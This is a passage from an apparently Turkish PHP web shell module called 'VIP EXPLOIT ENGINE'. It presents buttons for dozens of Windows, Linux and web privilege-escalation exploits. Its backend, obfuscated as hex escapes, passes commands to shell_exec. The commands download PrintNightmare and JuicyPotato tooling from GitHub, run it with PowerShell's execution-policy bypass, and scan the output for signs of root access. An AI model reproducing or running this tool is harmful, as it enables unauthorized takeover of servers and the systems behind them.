border-radius: 10px; overflow: hidden; box-shadow: 0 0 40px #ffd70011, inset 0 0 40px #b300ff08; } .vip-mor-terminal-header { background: linear-gradient(135deg, #0a000a, #1a001a); padding: 10px 15px; border-bottom: 1px solid #ffd70033; display: flex; justify-content: space-between; align-items: center; } .vip-mor-terminal-body { padding: 15px; max-height: 600px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; line-height: 1.8; color: #d4a0ff; } .vip-mor-terminal-body::-webkit-scrollbar { width: 6px; background: #05000a; } .vip-mor-terminal-body::-webkit-scrollbar-thumb { background: linear-gradient(135deg, #ffd700, #b300ff); border-radius: 10px; } .vip-mor-status { background: linear-gradient(135deg, #0a000a, #1a001a); border: 1px solid #ffd70033; border-radius: 10px; padding: 12px; text-align: center; transition: all 0.3s ease; } .vip-mor-status:hover { border-color: #ffd70088; box-shadow: 0 0 30px #ffd70022, 0 0 30px #b300ff22; } .vip-mor-glow-text { text-shadow: 0 0 20px #ffd70055, 0 0 40px #b300ff33; } .vip-mor-divider { border: none; height: 2px; background: linear-gradient(90deg, transparent, #ffd700, #b300ff, #ffd700, transparent); margin: 15px 0; box-shadow: 0 0 20px #ffd70033; } .vip-mor-exploit-grid { display: grid; gap: 8px; } .vip-mor-badge { background: linear-gradient(135deg, #ffd70033, #b300ff33); padding: 2px 10px; border-radius: 12px; border: 1px solid #ffd70044; font-size: 8px; color: #ffd700; } .vip-mor-title-glow { color: #ffd700; text-shadow: 0 0 30px #ffd70055, 0 0 60px #b300ff33; font-size: 16px; font-weight: bold; } .vip-crown { animation: crownPulse 2s ease-in-out infinite; display: inline-block; } @keyframes crownPulse { 0%, 100% { transform: scale(1); filter: drop-shadow(0 0 10px #ffd700); } 50% { transform: scale(1.1); filter: drop-shadow(0 0 30px #ffd700); } } @media (max-width: 768px) { .vip-mor-exploit-grid { grid-template-columns: 1fr 1fr; } } @media (max-width: 480px) { .vip-mor-exploit-grid { grid-template-columns: 1fr; } } </style> <!-- ===== ANA KONTEYNER ===== --> <div class="vip-mor-card" style="border-color: #ffd70055; box-shadow: 0 0 80px #ffd70011, 0 0 80px #b300ff11;"> <!-- ===== HEADER ===== --> <div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:15px;padding-bottom:10px;border-bottom:2px solid #ffd70033;"> <div> <h4 style="margin:0;font-size:18px;"> <span class="vip-crown">👑</span> <span class="vip-mor-title-glow">VIP EXPLOIT ENGINE v2.0</span> <span style="font-size:9px;color:#b8860b;margin-left:10px;background:linear-gradient(135deg,#ffd70033,#b300ff33);padding:2px 12px;border-radius:12px;border:1px solid #ffd70044;"> <i class="fas fa-star" style="color:#ffd700;"></i> VIP </span> </h4> <div style="font-size:9px;color:#b8860b;margin-top:2px;"> <i class="fas fa-bolt" style="color:#ffd700;"></i> 55+ Exploit | VIP <span style="margin-left:10px;color:#7a3aaa;"> <i class="fas fa-crown" style="color:#ffd700;"></i> <?php echo isRoot() ? "\x52\117\x4f\x54\x2f\x41\x44\x4d\x49\116" : "\x53\x54\x41\x4e\x44\101\x52\124"; ?> </span> <span style="margin-left:8px;color:#7a3aaa;"> <?php echo isWindows() ? "\360\237\xaa\237\x20\x57\x69\156\144\157\167\x73" : "\xf0\237\x90\247\x20\114\151\x6e\x75\170"; ?> </span> </div> </div> <div style="display:flex;gap:6px;align-items:center;"> <span class="vip-mor-badge"> <i class="fas fa-crown" style="color:#ffd700;"></i> VIP </span> <span class="vip-mor-badge"> <?php echo isRoot() ? "\360\237\221\x91\x20\122\x4f\x4f\124" : "\360\237\x91\xa4\x20\x55\123\105\122"; ?> </span> </div> </div> <!-- ===== YETKİ DURUMU ===== --> <?php if (isRoot()) { ?> <div style="background:linear-gradient(135deg,#0a000a,#1a001a);padding:12px 15px;border-radius:10px;border:2px solid #ffd700;box-shadow:0 0 60px #ffd70022,0 0 60px #b300ff22;margin-bottom:15px;text-align:center;position:relative;overflow:hidden;"> <div style="position:absolute;top:-50%;left:-50%;width:200%;height:200%;background:radial-gradient(circle at center,#ffd70011,transparent 70%);animation:rotateGlow 15s linear infinite;"></div> <div style="position:relative;z-index:1;"> <i class="fas fa-crown" style="color:#ffd700;font-size:20px;text-shadow:0 0 40px #ffd700;"></i> <strong style="color:#ffd700;font-size:16px;text-shadow:0 0 30px #ffd700;">KRAL! ROOT/ADMIN YETKİSİ AKTİF!</strong> <div style="color:#b8860b;font-size:11px;margin-top:4px;"> <i class="fas fa-terminal"></i> UID: <?php echo getUID(); ?> | GID: <?php echo getGID(); ?> | <span style="color:#ffd700;">👑 VIP Yetki</span> </div> </div> </div> <?php } ?> <!-- ===== ANA KATEGORİLER ===== --> <div class="vip-mor-exploit-grid" style="grid-template-columns:1fr 1fr 1fr 1fr;margin-bottom:12px;"> <div class="vip-mor-card" style="padding:12px;margin:0;border-color:#ffd70044;"> <h5 style="color:#ffd700;font-size:11px;margin:0 0 4px 0;"> <i class="fab fa-windows" style="color:#b300ff;"></i> WINDOWS </h5> <p style="font-size:8px;color:#b8860b;margin:0 0 8px 0;">25+ Exploit</p> <form method="POST"> <button type="submit" name="privesc_action" value="exploit_windows_all" class="vip-mor-btn vip-mor-btn-danger"> <i class="fas fa-bomb"></i> TÜMÜNÜ ÇALIŞTIR </button> </form> </div> <div class="vip-mor-card" style="padding:12px;margin:0;border-color:#ffd70044;"> <h5 style="color:#ffd700;font-size:11px;margin:0 0 4px 0;"> <i class="fab fa-linux" style="color:#b300ff;"></i> LINUX </h5> <p style="font-size:8px;color:#b8860b;margin:0 0 8px 0;">20+ Exploit</p> <form method="POST"> <button type="submit" name="privesc_action" value="exploit_linux_all" class="vip-mor-btn vip-mor-btn-warning"> <i class="fas fa-bomb"></i> TÜMÜNÜ ÇALIŞTIR </button> </form> </div> <div class="vip-mor-card" style="padding:12px;margin:0;border-color:#ffd70044;"> <h5 style="color:#ffd700;font-size:11px;margin:0 0 4px 0;"> <i class="fas fa-globe" style="color:#b300ff;"></i> WEB </h5> <p style="font-size:8px;color:#b8860b;margin:0 0 8px 0;">10+ Exploit</p> <form method="POST"> <button type="submit" name="privesc_action" value="exploit_web_all" class="vip-mor-btn vip-mor-btn-info"> <i class="fas fa-bomb"></i> TÜMÜNÜ ÇALIŞTIR </button> </form> </div> <div class="vip-mor-card" style="padding:12px;margin:0;border-color:#ffd70044;"> <h5 style="color:#ffd700;font-size:11px;margin:0 0 4px 0;"> <i class="fas fa-robot" style="color:#b300ff;"></i> OTOMATİK </h5> <p style="font-size:8px;color:#b8860b;margin:0 0 8px 0;">Akıllı Seçici</p> <form method="POST"> <button type="submit" name="privesc_action" value="exploit_auto" class="vip-mor-btn vip-mor-btn-gold"> <i class="fas fa-brain"></i> OTOMATİK TESPİT </button> </form> </div> </div> <!-- ===== WINDOWS EXPLOITLER ===== --> <hr class="vip-mor-divider"> <div style="display:flex;align-items:center;gap:10px;margin-bottom:10px;"> <i class="fab fa-windows" style="color:#ffd700;font-size:16px;text-shadow:0 0 20px #ffd700;"></i> <span style="color:#ffd700;font-size:12px;font-weight:bold;text-shadow:0 0 20px #ffd70055;">WINDOWS EXPLOITLER</span> <span class="vip-mor-badge">25+ Exploit</span> <span style="color:#b8860b;font-size:8px;margin-left:auto;"> <i class="fas fa-crown" style="color:#ffd700;"></i> VIP Koleksiyon </span> </div> <div class="vip-mor-exploit-grid" style="grid-template-columns:1fr 1fr 1fr 1fr 1fr;"> <form method="POST"><button type="submit" name="privesc_action" value="exploit_printnightmare" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🖨️ PrintNightmare</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_juicypotato" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🥔 JuicyPotato</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_hivenightmare" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🐝 HiveNightmare</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_nopac" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🚫 NoPac</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_petitpotam" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🪣 PetitPotam</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_eternalblue" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔵 EternalBlue</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_bluekeep" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">💠 BlueKeep</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_smbghost" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">👻 SMBGhost</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2018_8120" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 CVE-2018-8120</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2017_0213" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 CVE-2017-0213</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_rdp_wrapper" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 RDP Wrapper</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_always_install_elevated" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 Always Install</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_unquoted_service" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 Unquoted Service</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_service_permissions" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 Service Perms</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_registry_permissions" class="vip-mor-btn vip-mor-btn-danger" style="font-size:8px;padding:6px;">🔓 Registry Perms</button></form> </div> <!-- ===== LINUX EXPLOITLER ===== --> <hr class="vip-mor-divider"> <div style="display:flex;align-items:center;gap:10px;margin-bottom:10px;"> <i class="fab fa-linux" style="color:#ffd700;font-size:16px;text-shadow:0 0 20px #ffd700;"></i> <span style="color:#ffd700;font-size:12px;font-weight:bold;text-shadow:0 0 20px #ffd70055;">LINUX EXPLOITLER</span> <span class="vip-mor-badge">20+ Exploit</span> <span style="color:#b8860b;font-size:8px;margin-left:auto;"> <i class="fas fa-crown" style="color:#ffd700;"></i> VIP Koleksiyon </span> </div> <div class="vip-mor-exploit-grid" style="grid-template-columns:1fr 1fr 1fr 1fr 1fr;"> <form method="POST"><button type="submit" name="privesc_action" value="exploit_dirtycow" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🐄 Dirty Cow</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_dirtypipe" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔧 Dirty Pipe</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_pwnkit" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔫 PwnKit</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_polkit" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🎯 Polkit</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_sudobaron" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">👑 Sudo Baron</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_overlayfs" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">📁 OverlayFS</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2021_3493" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2021-3493</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2022_0492" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🐳 CVE-2022-0492</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2021_3156" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2021-3156</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2016_8655" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2016-8655</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2017_1000112" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2017-1000112</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2018_18955" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2018-18955</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2019_13272" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2019-13272</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2020_14386" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2020-14386</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_cve2021_22555" class="vip-mor-btn vip-mor-btn-warning" style="font-size:8px;padding:6px;">🔓 CVE-2021-22555</button></form> </div> <!-- ===== WEB EXPLOITLER ===== --> <hr class="vip-mor-divider"> <div style="display:flex;align-items:center;gap:10px;margin-bottom:10px;"> <i class="fas fa-globe" style="color:#ffd700;font-size:16px;text-shadow:0 0 20px #ffd700;"></i> <span style="color:#ffd700;font-size:12px;font-weight:bold;text-shadow:0 0 20px #ffd70055;">WEB EXPLOITLER</span> <span class="vip-mor-badge">10+ Exploit</span> <span style="color:#b8860b;font-size:8px;margin-left:auto;"> <i class="fas fa-crown" style="color:#ffd700;"></i> VIP Koleksiyon </span> </div> <div class="vip-mor-exploit-grid" style="grid-template-columns:1fr 1fr 1fr 1fr 1fr;"> <form method="POST"><button type="submit" name="privesc_action" value="exploit_log4shell" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">📦 Log4Shell</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_spring4shell" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🌱 Spring4Shell</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_shellshock" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">💥 Shellshock</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_struts2" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🪶 Struts2</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_tomcat" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🐱 Tomcat</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_weblogic" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🧙 WebLogic</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_jenkins" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🔧 Jenkins</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_jboss" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">👹 JBoss</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_nexus" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">📦 Nexus</button></form> <form method="POST"><button type="submit" name="privesc_action" value="exploit_apache" class="vip-mor-btn vip-mor-btn-info" style="font-size:8px;padding:6px;">🌐 Apache</button></form> </div> <!-- ===== EXPLOIT ENGINE ===== --> <?php if (isset($_POST["\x70\162\151\166\145\163\x63\x5f\x61\x63\x74\151\x6f\156"])) { $exploit_action = $_POST["\160\162\x69\x76\145\163\x63\x5f\x61\x63\x74\x69\x6f\x6e"]; $output = ''; $timestamp = date("\131\x2d\x6d\55\x64\x20\110\x3a\x69\x3a\163"); function runExploitVip($cmd, $description = '') { $result = shell_exec($cmd . "\40\62\76\x26\x31"); if ($result === null) { $result = "\x4b\x6f\x6d\x75\x74\x20\303\247\141\154\xc4\xb1\305\x9f\x74\xc4\xb1\162\xc4\261\x6c\x61\155\141\144\xc4\261\x21"; } $success_patterns = array("\x72\x6f\157\x74", "\141\x64\x6d\x69\156", "\x73\x75\x63\143\145\x73\163", "\x62\141\305\x9f\x61\162\xc4\261", "\x70\x65\162\155\151\163\x73\151\x6f\156", "\x41\143\143\x65\163\163\40\151\163\40\x64\x65\x6e\x69\145\144", "\165\x69\144\75", "\147\x69\144\x3d"); $success = false; foreach ($success_patterns as $pattern) { if (stripos($result, $pattern) !== false) { $success = true; break; } } return array("\x63\155\x64" => $cmd, "\x64\145\x73\143" => $description, "\x72\x65\x73\x75\154\164" => $result, "\x73\x75\x63\x63\145\163\163" => $success); } $output .= "\342\225\224\342\x95\x90\xe2\x95\x90\342\x95\x90\xe2\x95\x90\xe2\225\x90\342\x95\x90\xe2\x95\x90\342\225\220\342\225\220\342\x95\x90\342\225\x90\342\x95\220\xe2\225\220\342\225\x90\xe2\225\x90\xe2\225\220\342\225\x90\342\x95\220\342\x95\220\xe2\x95\x90\xe2\225\220\xe2\225\x90\xe2\x95\220\342\225\x90\xe2\x95\220\xe2\x95\x90\342\x95\220\342\225\x90\xe2\225\x90\xe2\225\220\342\x95\x90\342\225\x90\342\x95\x90\xe2\x95\x90\342\x95\220\xe2\x95\x90\342\225\220\xe2\225\x90\342\225\x90\xe2\225\x90\xe2\225\x90\xe2\x95\220\xe2\225\220\xe2\225\x90\xe2\225\220\342\225\220\342\225\220\xe2\x95\x90\xe2\225\x90\xe2\x95\220\342\225\220\xe2\x95\220\xe2\x95\220\xe2\x95\x90\342\225\220\xe2\225\220\342\x95\220\xe2\x95\x90\xe2\225\220\342\225\220\xe2\x95\220\xe2\225\x90\342\225\x90\342\x95\220\xe2\x95\x90\342\x95\x90\xe2\225\x90\xe2\x95\x90\342\x95\227\xa"; $output .= "\xe2\x95\221\x20\x20\360\237\221\221\40\126\111\x50\x20\x45\130\120\x4c\x4f\x49\124\x20\105\116\x47\x49\x4e\105\40\x76\62\56\x30\40\55\x20\x35\x35\53\40\105\x58\120\114\x4f\x49\124\40\x4b\117\x4c\105\113\123\xc4\xb0\x59\x4f\116\125\x20\40\40\x20\40\40\40\40\40\40\342\x95\221\12"; $output .= "\342\225\232\xe2\x95\220\xe2\225\x90\342\x95\220\xe2\225\x90\xe2\225\220\xe2\225\x90\342\225\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\342\225\220\xe2\225\220\342\225\x90\342\225\x90\xe2\x95\x90\342\225\x90\xe2\x95\220\342\225\x90\342\x95\220\342\x95\x90\xe2\x95\x90\342\x95\220\xe2\225\220\342\x95\x90\xe2\225\x90\342\225\220\xe2\x95\220\342\225\x90\xe2\225\220\xe2\225\x90\xe2\x95\220\xe2\x95\220\342\225\220\xe2\x95\220\xe2\x95\x90\342\225\x90\xe2\225\x90\xe2\225\x90\342\x95\x90\xe2\x95\220\xe2\x95\x90\342\x95\x90\xe2\x95\220\342\x95\220\xe2\x95\x90\xe2\225\220\342\x95\x90\342\x95\x90\342\x95\220\342\225\220\xe2\225\220\342\225\x90\xe2\225\220\342\225\x90\xe2\x95\x90\xe2\x95\220\xe2\225\x90\342\x95\x90\342\225\x90\xe2\225\x90\342\225\220\xe2\x95\220\342\225\220\342\225\x90\xe2\x95\x90\342\225\x90\xe2\x95\x90\342\225\220\xe2\225\235\xa\xa"; $output .= "\360\x9f\x93\205\x20\132\141\155\141\156\x3a\x20{$timestamp}\xa"; $output .= "\xf0\237\x96\245\xef\xb8\217\x20\x20\117\123\x3a\x20" . (isWindows() ? "\x57\151\x6e\144\157\x77\163" : "\x4c\x69\156\165\x78") . "\xa"; $output .= "\xf0\237\x91\244\40\113\165\154\154\x61\156\304\261\x63\xc4\261\x3a\x20" . getCurrentUser() . "\xa"; $output .= "\xf0\237\224\221\40\x59\x65\164\x6b\x69\72\x20" . (isRoot() ? "\x52\x4f\x4f\124\x2f\101\104\x4d\x49\x4e\x20\342\234\205" : "\116\x6f\x72\155\x61\154\40\xe2\x9a\240") . "\xa"; $output .= "\360\x9f\223\xa6\x20\113\145\x72\156\145\x6c\72\40" . php_uname("\x72") . "\12"; $output .= "\xe2\x94\x80\xe2\x94\200\xe2\224\200\xe2\224\x80\342\224\x80\xe2\224\x80\342\224\200\xe2\x94\x80\342\224\x80\xe2\x94\x80\342\224\x80\xe2\x94\200\xe2\224\x80\xe2\224\x80\342\x94\x80\xe2\x94\200\xe2\224\x80\342\x94\200\xe2\224\x80\xe2\224\200\342\224\200\xe2\x94\200\342\x94\200\342\x94\x80\342\224\x80\342\x94\200\342\224\200\342\x94\x80\xe2\224\x80\342\x94\x80\342\224\200\xe2\224\x80\xe2\x94\200\xe2\224\x80\342\x94\x80\xe2\x94\200\342\224\x80\342\x94\200\342\x94\200\xe2\224\x80\xe2\224\x80\xe2\x94\x80\xe2\224\200\342\224\200\xe2\224\200\xe2\224\200\342\224\x80\342\224\200\xe2\224\200\342\224\x80\342\x94\x80\342\x94\x80\342\x94\200\xe2\224\x80\342\x94\x80\xe2\224\200\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\342\x94\x80\342\224\200\xe2\224\x80\xe2\224\x80\342\x94\200\342\224\200\342\224\x80\xe2\x94\x80\xe2\224\x80\xa\12"; switch ($exploit_action) { case "\x65\x78\x70\x6c\x6f\x69\164\x5f\167\x69\156\144\x6f\167\163\137\141\154\x6c": $output .= "\75\75\75\40\xf0\237\xaa\237\40\x54\xc3\234\x4d\40\127\111\116\x44\x4f\x57\123\x20\105\130\x50\x4c\x4f\x49\124\x4c\x45\122\40\75\75\x3d\12\xa"; if (!isWindows()) { $output .= "\342\x9a\240\x20\102\x75\x20\303\xb6\172\145\x6c\154\x69\153\40\x73\x61\x64\x65\x63\x65\x20\x57\x69\x6e\x64\x6f\x77\163\x27\x74\x61\40\xc3\xa7\x61\154\304\xb1\305\237\xc4\261\162\x21\12"; break; } $win_exploits = array(array("\120\162\151\x6e\x74\116\x69\x67\x68\164\x6d\x61\162\145\x20\50\x43\x56\x45\55\x32\60\x32\61\x2d\x31\x36\67\x35\x29", "\x50\162\151\156\x74\x4e\151\147\150\x74\155\x61\162\145"), array("\x4a\165\x69\143\x79\x50\157\164\x61\x74\157", "\x4a\x75\151\143\x79\x50\157\164\x61\164\157"), array("\110\x69\x76\x65\116\x69\x67\150\x74\155\x61\x72\x65\x20\50\x43\126\x45\x2d\x32\x30\62\x31\x2d\63\66\71\x33\x34\x29", "\110\151\x76\145\116\x69\147\x68\x74\155\x61\x72\x65"), array("\x4e\157\x50\x61\x63\x20\50\103\x56\105\55\x32\x30\x32\x31\x2d\x34\x32\62\67\70\57\x34\x32\x32\x38\67\x29", "\x4e\x6f\120\x61\143"), array("\x50\x65\164\x69\x74\120\x6f\164\x61\155\40\x28\103\x56\x45\x2d\x32\60\62\x31\x2d\63\x36\71\x34\x32\51", "\120\x65\x74\151\x74\x50\157\x74\x61\155"), array("\x45\164\x65\x72\156\141\154\x42\x6c\x75\x65\40\x28\115\123\61\67\x2d\60\61\x30\51", "\x45\164\145\162\x6e\141\154\102\154\x75\145"), array("\x42\x6c\x75\x65\113\145\x65\160\x20\x28\103\x56\x45\x2d\x32\x30\61\x39\x2d\x30\67\60\x38\x29", "\x42\154\165\x65\113\145\145\x70"), array("\123\115\x42\x47\x68\x6f\163\x74\x20\50\103\x56\105\55\62\60\x32\60\55\60\x37\71\x36\51", "\x53\115\x42\x47\x68\157\x73\164"), array("\x55\x6e\x71\x75\x6f\164\x65\144\x20\x53\145\x72\x76\x69\143\x65\x20\x50\141\164\x68", "\x55\x6e\x71\x75\157\x74\145\144\x53\x65\x72\x76\x69\143\145\120\x61\164\x68"), array("\x41\154\x77\x61\171\x73\x49\x6e\163\x74\x61\154\154\105\154\145\x76\141\x74\x65\x64", "\x41\154\x77\141\x79\x73\x49\x6e\163\164\x61\154\154\x45\154\x65\x76\x61\x74\145\x64")); $output .= "\xf0\x9f\x93\213\40\115\105\126\103\x55\x54\40\105\130\120\x4c\x4f\111\124\114\105\122\x3a\xa"; foreach ($win_exploits as $index => $exploit) { $output .= sprintf("\x20\40\x25\x64\56\x20\x25\163\xa", $index + 1, $exploit[0]); } $output .= "\12\xf0\x9f\x92\241\x20\x4b\165\x6c\x6c\x61\x6e\xc4\261\155\72\40\145\x78\160\154\157\x69\164\137\x77\151\x6e\144\x6f\167\x73\137\x72\165\156\x20\x5b\156\165\x6d\141\x72\141\135\xa"; $output .= "\xc3\226\162\x6e\145\x6b\x3a\40\145\170\x70\x6c\x6f\x69\x74\x5f\x77\151\156\144\157\167\x73\x5f\162\165\156\x20\61\xa"; break; case "\145\170\160\154\x6f\x69\x74\x5f\x77\151\x6e\144\x6f\167\163\x5f\x72\165\x6e": if (!isWindows()) { $output .= "\xe2\232\240\40\x42\x75\x20\xc3\xb6\172\145\154\x6c\151\153\40\x73\x61\x64\145\143\x65\x20\x57\151\156\x64\157\x77\163\x27\164\x61\40\xc3\247\x61\154\304\261\305\237\304\xb1\162\x21\xa"; break; } $parts = explode("\40", $input); if (count($parts) < 2) { $output .= "\xe2\x9a\xa0\40\114\303\xbc\164\x66\x65\x6e\x20\x62\151\162\x20\145\170\160\x6c\157\151\x74\40\156\x75\x6d\x61\162\141\x73\xc4\261\40\142\145\154\x69\x72\164\x69\x6e\41\xa"; $output .= "\113\165\x6c\x6c\x61\156\xc4\261\x6d\x3a\x20\145\170\x70\154\157\151\x74\137\x77\x69\x6e\144\x6f\167\163\x5f\x72\165\x6e\x20\x5b\156\165\x6d\x61\x72\x61\x5d\12"; break; } $num = intval($parts[1]) - 1; $commands = array(0 => "\x70\157\167\x65\162\163\150\145\154\154\x20\x2d\x43\x6f\x6d\x6d\x61\156\x64\x20\x22\x74\x72\171\x20\173\x20\111\156\x76\x6f\153\x65\55\127\x65\x62\x52\x65\x71\x75\145\x73\164\40\x2d\125\x72\x69\40\x27\x68\164\x74\160\x73\72\x2f\x2f\x72\x61\167\56\147\x69\164\x68\165\142\x75\x73\x65\x72\x63\x6f\x6e\164\x65\156\x74\56\143\x6f\155\x2f\104\145\141\144\170\170\123\155\151\x6c\x65\x2f\120\x72\x69\156\x74\x4e\151\147\150\x74\155\x61\x72\x65\x2d\106\x69\170\x2f\155\141\x69\x6e\x2f\x50\162\151\156\164\116\151\x67\x68\164\155\x61\x72\x65\x2d\x46\151\170\56\160\x73\x31\47\40\55\117\165\x74\106\x69\x6c\145\x20\x43\72\134\160\162\x69\156\164\x6e\x69\147\150\x74\155\x61\162\x65\56\x70\x73\x31\40\55\105\x72\x72\x6f\x72\x41\143\x74\151\157\156\40\x53\x74\x6f\x70\x3b\x20\160\x6f\167\145\162\x73\x68\x65\x6c\x6c\40\55\145\x78\x65\x63\x20\x62\x79\x70\141\x73\163\40\55\106\x69\154\145\40\103\72\x5c\x70\162\151\156\164\156\151\147\x68\164\155\x61\162\145\x2e\160\163\x31\40\x7d\40\143\141\164\143\x68\x20\x7b\x20\x65\143\x68\157\x20\x27\x50\x72\151\156\164\116\x69\x67\x68\164\155\141\x72\x65\40\171\303\274\153\x6c\145\x6e\x65\x6d\145\x64\151\x27\x20\175\42", 1 => "\x70\157\167\x65\162\163\150\x65\154\154\x20\55\x43\x6f\155\x6d\141\x6e\x64\x20\x22\x74\x72\171\x20\x7b\x20\111\156\166\x6f\x6b\145\55\127\145\x62\122\145\161\x75\145\163\x74\x20\55\125\x72\x69\x20\47\150\164\x74\x70\163\72\x2f\x2f\147\151\164\x68\x75\x62\56\143\x6f\155\57\157\x68\160\145\x2f\x6a\165\x69\x63\x79\55\160\157\x74\141\x74\157\57\x72\x65\x6c\145\141\x73\x65\163\57\x64\157\x77\x6e\154\x6f\x61\144\x2f\x76\60\x2e\61\57\112\165\151\143\171\x50\157\164\141\164\157\x2e\145\x78\145\47\40\55\117\165\x74\x46\151\x6c\x65\40\x43\72\134\152\x75\x69\143\x79\160\157\x74\141\x74\157\56\x65\x78\x65\40\x2d\105\162\162\x6f\162\x41\x63\164\151\157\x6e\40\x53\164\x6f\160\x3b\40\x43\72\x5c\152\x75\x69\143\x79\160\x6f\x74\141\x74\x6f\56\x65\170\145\40\x2d\x74\40\x2a\x20\55\160\40\103\x3a\134\127\x69\x6e\x64\x6f\167\x73\x5c\x53\171\163\164\x65\155\x33\x32\134\x63\155\x64\x2e\145\x78\145\x20\55\141\x20\47\x2f\143\x20\167\150\157\x61\155\x69\x27\x20\x7d\x20\x63\x61\164\143\x68\40\x7b\x20\145\143\150\x6f\40\x27\112\x75\151\143\171\x50\x6f\x74\x61\164\x6f\40\171\303\274\153\x6c\x65\x6e\145\155\x65\144\151\47\40\x7d\x22", 2 => 